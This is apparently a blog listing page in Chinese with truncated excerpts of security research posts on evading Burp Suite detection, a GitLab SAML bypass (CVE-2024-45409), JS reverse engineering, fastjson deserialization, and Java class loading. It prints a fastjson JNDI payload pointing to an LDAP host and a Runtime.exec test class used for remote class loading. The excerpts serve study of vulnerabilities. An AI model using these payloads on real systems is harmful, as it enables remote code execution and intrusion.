Burpsuite 特征检测对抗
BurpSuite 是一款广泛使用的 web 应用程序安全测试工具。然而,越来越多的站点、应用程序、安全设备开始部署检测机制,以识别和阻止通过Burp的流量,这种情况导致我们在进行测试时无法正常抓包,从而影响整个测试过程,所以本文主要研究burp的常见特征以及绕过检测的隐藏方式。
HTTP特征 当使用BurpSuite时,经常会访问http://burp和http://burpsuite这类页面。这些页面主要用于导出证书,当证书导入到浏览器后就不再有实际作用。然而,这些访问行为也成为了BurpSuite的典型流量特征之一。
证书页 写个demo,模拟下检测过程
当攻击者访问index时,如果检测到burp流量特征,则直接跳转到check页面,防止进一步请求。这里使用的是iframe标签,不受跨域请求限制,除此外还有:
img
favicon.ico在resources/Media/路径下,删除即可,但请求后仍会返回错误页回显burp特征
1<img src="http://burp/favicon.ico" onload="window ...
GitLab身份验证绕过(CVE-2024-45409)
简介 GitLab 是一个用于仓库管理系统的开源项目,使用 Git 进行代码管理,并支持SAML认证功能,通过认证的用户可以实现单点登录。然而,Ruby-SAML库存在缺陷,允许攻击者绕过 SAML 身份验证机制进行未经授权的访问,而这就波及到了Gitlab的登录功能。
SAML认证 SAML是一种基于 XML 的开放标准,用于在身份提供者 (IdP) 和服务提供商 (SP) 之间交换身份验证和授权数据,确保此交换安全性。
SAML涉及实体
principal(主体):通常代表用户/浏览器终端
IdP(身份提供商):负责进行身份认证,并将用户的认证信息和授权信息传递给SP。
SP(服务提供商):验证用户的认证信息,并授权用户访问指定的资源信息。
认证过程1、当用户(principal)想要登录时,首先请求SP。
2、SP 生成 SAML 请求,通过浏览器重定向,发送给IdP 。
3、IdP 解析 SAML 请求并将用户重定向到认证页面。
4、用户在认证页面完成登录。
5、IdP 生成 SAML Response,通过对浏览器重定向,发送给SP,其中包含 SAML As ...
浅谈JS逆向
JS基础变量声明在JS中,可以通过var关键字来声明变量
123var name;或name = "S1nJa"
也可以一次定义多个变量
1var name = "S1nJa",age=18
函数12345function add(a,b){ c = a+b return c}add(1,1)
常用函数length
返回字符串的长度。
indexOf
用于查找指定字符串在另一个字符串中第一次出现的位置。
slice
slice(start, end)
从一个字符串中返回指定起始索引和结束索引之间的子串
substring
substring(start, end)
substring方法类似于slice,不同的是substring方法无法接受负数索引。
substr
substr(start, length)
substr的第二个形参接受的不是结束为止,而是截取长度
replace
用于字符串替换
concat
用于字符串拼接
push
向数组中添加元素
join
将所有元素合并为一 ...
fastjson 看我一命通关
简介 Fastjson是一款由阿里巴巴开发的高性能、功能丰富的 JSON 处理库,用于实现Java 对象和 JSON 字符串的转换。而Fastjson组件提供的反序列化功能,允许用户通过”@type” 字段来指定任意反序列化类名,并自动调用该类的 setter 方法及部分 getter 方法,这就导致当反序列化不可信数据时便可触发远程代码执行。
漏洞分析fastjson -1.2.24影响版本:fastjson <= 1.2.24
主要利用方式为:
JdbcRowSetImpl 结合JNDI注入
12345{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:9999/Exec", "autoCommit":true}
TemplatesImpl 动态加载字节码
1234567{ "@type": ...
ClassLoader动态类加载
在JNDI、RMI等攻击中,我们常会用到这么一段测试代码
123456789public class Exec { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }}
将它反编译成class文件后,开启监听服务即可进行远程类加载,但这段代码中没有main等执行方法,它又为啥会执行呢?这其实跟类加载机制有关
类加载机制类的加载分为以下几步:
类加载初始化和实例化的时候会执行对应的代码块
初始化:静态代码块(一次执行中静态代码块只能执行一次)
实例化:匿名代码块、构造方法
实例以Person类为例
123456789101112131415161718192021222324252627public class Per ...
defaultReadObject分析
起因是想重新了解下反序列化,在看HashMap的readObject时,看到了defaultReadObject(),想到在重写readOject()中基本都遇到过,于是想了解下这个函数的具体作用以及实现原理。
readObject先看下执行原生readOject()都发生了什么
测试代码:
1234567891011121314public class SerializeTest { public static void main(String[] args) throws IOException, ClassNotFoundException { Animals animals = new Animals("111", "222", "333"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( ...